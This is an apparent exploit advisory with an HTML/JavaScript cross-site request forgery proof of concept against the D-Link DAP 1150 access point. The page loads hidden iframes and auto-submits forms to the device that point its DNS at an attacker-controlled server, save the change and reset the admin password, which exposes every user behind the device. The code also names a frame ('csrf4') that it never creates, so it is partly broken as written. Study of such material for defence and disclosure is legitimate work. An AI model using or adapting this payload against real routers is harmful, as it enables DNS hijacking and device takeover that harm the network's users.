This file contains multiple cross site request forgery proof of concepts for old issues associated with the D-Link DAP 1150.
1ce4b9cbe4f534fbae4789b1f32592413776835b37addb31f2b0d689d734ecd4
Hello!
Here is exploit for D-Link DAP 1150. About vulnerabilities in it, which were
used in this exploit, I've wrote in 2011.
I've presented this exploit in my article "CSRF Attacks on Network Devices"
in the magazine PenTest Extra 02/2012
(https://pentestmag.com/pentestextra02_2012/), released in February 2012.
Later I've placed this article at my site
(https://websecurity.com.ua/articles/csrf_attacks_on_network_devices/).
The exploit changes DNS settings (setup attacker's DNS server), saves
settings and changes default password. So it will be possible to attack all
the users, which are going into Internet via this device. Because all DNS
requests will be going through attacker's DNS server.
Code of the exploit:
<html>
<head>
<title>Exploit for D-Link DAP 1150. Made by MustLive.
https://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=3;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute('name', 'csrf'+i);
ifr.setAttribute('width', '0');
ifr.setAttribute('height', '0');
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
setTimeout(CSRF3,2000);
}
function CSRF1() {
window.frames["csrf3"].document.body.innerHTML = '<form name="hack"
action="https://192.168.0.50/index.cgi" method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_json" value="y">\n<input type="hidden"
name="res_data_type" value="json">\n<input type="hidden"
name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="7">\n<input type="hidden" name="res_struct_size"
value="0">\n<input type="hidden" name="res_buf"
value="{%22manual%22:true,%20%22ifname%22:%22%22,%20%22servers%22:%2250.50.50.50%22,%20%22defroute%22:true}">\n</form>';
window.frames["csrf3"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf4"].document.body.innerHTML = '<form name="hack"
action="https://192.168.0.50/index.cgi" method="get">\n<input type="hidden"
name="res_cmd" value="20">\n<input type="hidden" name="res_buf"
value="null">\n<input type="hidden" name="res_cmd_type" value="bl">\n<input
type="hidden" name="v2" value="y">\n<input type="hidden" name="rq"
value="y">\n</form>';
window.frames["csrf4"].document.hack.submit();
}
function CSRF3() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="https://192.168.0.50/index.cgi" method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="69">\n<input type="hidden"
name="res_struct_size" value="1">\n<input type="hidden" name="res_buf"
value="password|">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
Best wishes & regards,
MustLive
Administrator of Websecurity web site
https://websecurity.com.ua